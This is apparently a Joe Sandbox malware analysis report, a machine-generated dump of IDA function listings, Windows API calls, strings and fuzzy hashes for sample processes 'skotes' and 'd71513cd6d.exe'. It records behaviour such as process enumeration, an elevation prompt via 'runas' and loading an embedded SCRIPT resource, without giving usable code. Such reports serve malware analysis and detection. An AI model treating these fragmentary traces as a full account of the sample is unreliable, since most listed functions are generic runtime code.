Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_Lock::_ManagerManager::Reentrant
String ID: p[e
API String ID: 3303180142-3475480586
Opcode ID: 91432f0089ffbd30c162d2215512bafdb0bef6f4fa16a1f3c96782c5bffc08c8
Instruction ID: 8441cd8ad080701e0717aa7b276c17941b21372f0dc1d2db0e407d7f95af720a
Opcode Fuzzy Hash: 91432f0089ffbd30c162d2215512bafdb0bef6f4fa16a1f3c96782c5bffc08c8
Instruction Fuzzy Hash: 2E01D230E042049AEF54EBF866253DE66A26F08300F68005EE405EB3C2CEB08EC08759

Function 0060CAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,006165E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0060CAFC
CreateSemaphoreW.KERNEL32(?,006165E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0060CB1E

Strings

ea, xrefs: 0060CB12, 0060CAF0

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSemaphore
String ID: ea
API String ID: 1078844751-3322829488
Opcode ID: aed8407f264d420cf6c309d84d8d079932d08880dc42b26fbabfa594b7dd55ad
Instruction ID: a4badf93ff5ffab0d032263ec57ad13b93c88df04afc68f82bfb85dc00cb2156
Opcode Fuzzy Hash: aed8407f264d420cf6c309d84d8d079932d08880dc42b26fbabfa594b7dd55ad
Instruction Fuzzy Hash: 0FF0343A541228ABCF269F80EC188AF7F27EF08761B048110FE0966270C7329C21EFD0

Function 0061B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0061B94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0061B961

Strings

pContext, xrefs: 0061B959

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: de3d99041f8fca3c4fb565ab8c8449dd752391e515bc42d276bdccbc84231731
Instruction ID: 8da57345f1f7b3b5b39d529b84923fd2f88fccbffbf0c623b1fbeddddf434270
Opcode Fuzzy Hash: de3d99041f8fca3c4fb565ab8c8449dd752391e515bc42d276bdccbc84231731
Instruction Fuzzy Hash: A1E06839B0022467CB04BB64E849C9EB77B9EC1720704411AEA11A3380EB74EA01CAD4

Function 006134CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006134FC

Strings

version, xrefs: 006134E1
pScheduler, xrefs: 006134F4

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 605aaae708844df9f5ff927b2e53ea0f7694c835dd4d81cd76f5d28f04fa3e1d
Instruction ID: cd643f91646e87c4827d3e4b93e13e558585239292071d96e9b58b6f58be58cd
Opcode Fuzzy Hash: 605aaae708844df9f5ff927b2e53ea0f7694c835dd4d81cd76f5d28f04fa3e1d
Instruction Fuzzy Hash: 88E08634580218BACF25FB54D847ADC77AA9B10705F08C125B812252919BF597C8CA81

Analysis Process: d71513cd6d.exePID: 7664, Parent PID: 7836COMMON

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.5%
Total number of Nodes:	1718
Total number of Limit Nodes:	66

Executed Functions

Function 005842DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 0058430D

Part of subcall function 00586B57: _wcslen.LIBCMT ref: 00586B6A

GetCurrentProcess.KERNEL32(?,0061CB64,00000000,?,?), ref: 00584422
IsWow64Process.KERNEL32(00000000,?,?), ref: 00584429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00584454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00584466
GetNativeSystemInfo.KERNEL32(?,?,?), ref: 00584474
FreeLibrary.KERNEL32(00000000,?,?), ref: 0058447B
GetSystemInfo.KERNEL32(?,?,?), ref: 005844A0

Strings

GetNativeSystemInfo, xrefs: 00584460
|O, xrefs: 005C36F8
kernel32.dll, xrefs: 0058444F

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: cc82c0984d1d90c5a6b84cce867000f741a88a0274d1bf26ece448b3ff9e2f47
Instruction ID: f24090d46dfc5244c60db8a4701c82f595ca9602aa21dbdd9964189934ff8cc2
Opcode Fuzzy Hash: cc82c0984d1d90c5a6b84cce867000f741a88a0274d1bf26ece448b3ff9e2f47
Instruction Fuzzy Hash: 47A1C46190A3D4DFCB11D7A8B8617997FE67F37346F08B89DD841ABA32D2204648CB21

Function 005842A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,005850AA,?,?,00000000,00000000), ref: 005842B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,005850AA,?,?,00000000,00000000), ref: 005842C9
LoadResource.KERNEL32(?,00000000,?,?,005850AA,?,?,00000000,00000000,?,?,?,?,?,?,00584F20), ref: 005C35BE
SizeofResource.KERNEL32(?,00000000,?,?,005850AA,?,?,00000000,00000000,?,?,?,?,?,?,00584F20), ref: 005C35D3
LockResource.KERNEL32(005850AA,?,?,005850AA,?,?,00000000,00000000,?,?,?,?,?,?,00584F20,?), ref: 005C35E6

Strings

SCRIPT, xrefs: 005842BF

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: cad36e7bc15630e9b1f31de005511e29bebbf0f8cb54ac8e2270116f5743bad2
Instruction ID: b40e2e6256f6a6a515d693fe4625aef3d6f7952a31154990097199285c15350b
Opcode Fuzzy Hash: cad36e7bc15630e9b1f31de005511e29bebbf0f8cb54ac8e2270116f5743bad2
Instruction Fuzzy Hash: B611AC74240705BFD7219BA5DC48F6B7FBAFBC9B65F14816AB803D6250DB71D8008A20

Function 005C2BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 00582B6B

Part of subcall function 00583A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00651418,?,00582E7F,?,?,?,00000000), ref: 00583A78

Part of subcall function 00589CB3: _wcslen.LIBCMT ref: 00589CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,00642224), ref: 005C2C10
ShellExecuteW.SHELL32(00000000,?,?,00642224), ref: 005C2C17

Strings

runas, xrefs: 005C2C0B

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: 33416781acd33eb3a89e19201b833320d2a5db14e68834e2374fa18e7b055675
Instruction ID: 0b491508a2026dab3f5bf217b09a99378fb95b1cc011c18883224409e0cc26b7
Opcode Fuzzy Hash: 33416781acd33eb3a89e19201b833320d2a5db14e68834e2374fa18e7b055675
Instruction Fuzzy Hash: 341184311093436AC714FF60D85AABE7FA5BBD5751F48682DF842760A2CF218A4AC712

Function 005ED4DC Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 005ED501
Process32FirstW.KERNEL32(00000000,?), ref: 005ED50F
Process32NextW.KERNEL32(00000000,?), ref: 005ED52F
CloseHandle.KERNEL32(00000000), ref: 005ED5DC

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 2e8322b624d18a43037348916453033c92aafe4c39a76c577b747c77ea7b26d2
Instruction ID: 1d7826604e2165d56f067213e23f36bf8dc6daf364cfc23fce35e80304846c77
Opcode Fuzzy Hash: 2e8322b624d18a43037348916453033c92aafe4c39a76c577b747c77ea7b26d2
Instruction Fuzzy Hash: 623170711083419FD305EF54C885AAFBFF8BFD9354F14092EF581961A1EB719948CBA2

Function 005EDBBE Relevance: 6.0, APIs: 4, Instructions: 29filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,005C5222), ref: 005EDBCE
GetFileAttributesW.KERNEL32(?), ref: 005EDBDD
FindFirstFileW.KERNEL32(?,?), ref: 005EDBEE
FindClose.KERNEL32(00000000), ref: 005EDBFA

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: 3fe9c41fe3d6f74deb1e0f7f7b60cf4d159be8b62aae24c4d5b396d03aed0c91
Instruction ID: 1f9b8bf16723609e92d2d564fd31ad3d46e569b6300758f511f9cf2c3e34388e
Opcode Fuzzy Hash: 3fe9c41fe3d6f74deb1e0f7f7b60cf4d159be8b62aae24c4d5b396d03aed0c91
Instruction Fuzzy Hash: 22F0A73045051057C3246F789C0D4AE3B7DAE01374B248703F479C11E0EBB05D5489A6

Function 005A4CE8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(005B28E9,?,005A4CBE,005B28E9,006488B8,0000000C,005A4E15,005B28E9,00000002,00000000,?,005B28E9), ref: 005A4D09
TerminateProcess.KERNEL32(00000000,?,005A4CBE,005B28E9,006488B8,0000000C,005A4E15,005B28E9,00000002,00000000,?,005B28E9), ref: 005A4D10
ExitProcess.KERNEL32 ref: 005A4D22

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 3794420d857398fcf4ca178114ab82f5790685039b12b8862d55149fb9d456c8
Instruction ID: 382c434745a515a7df674e015cfbf9665b0bfe85614e4672b5db85b5b535e306
Opcode Fuzzy Hash: 3794420d857398fcf4ca178114ab82f5790685039b12b8862d55149fb9d456c8
Instruction Fuzzy Hash: 46E0B631040548ABCF11AF94DD0AA9C7F6AFB82795B148015FD159A122DB75EE42CE80

Function 0060AFF9 Relevance: 24.4, APIs: 16, Instructions: 418
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 0060B198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0060B1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0060B1D4
_wcslen.LIBCMT ref: 0060B200
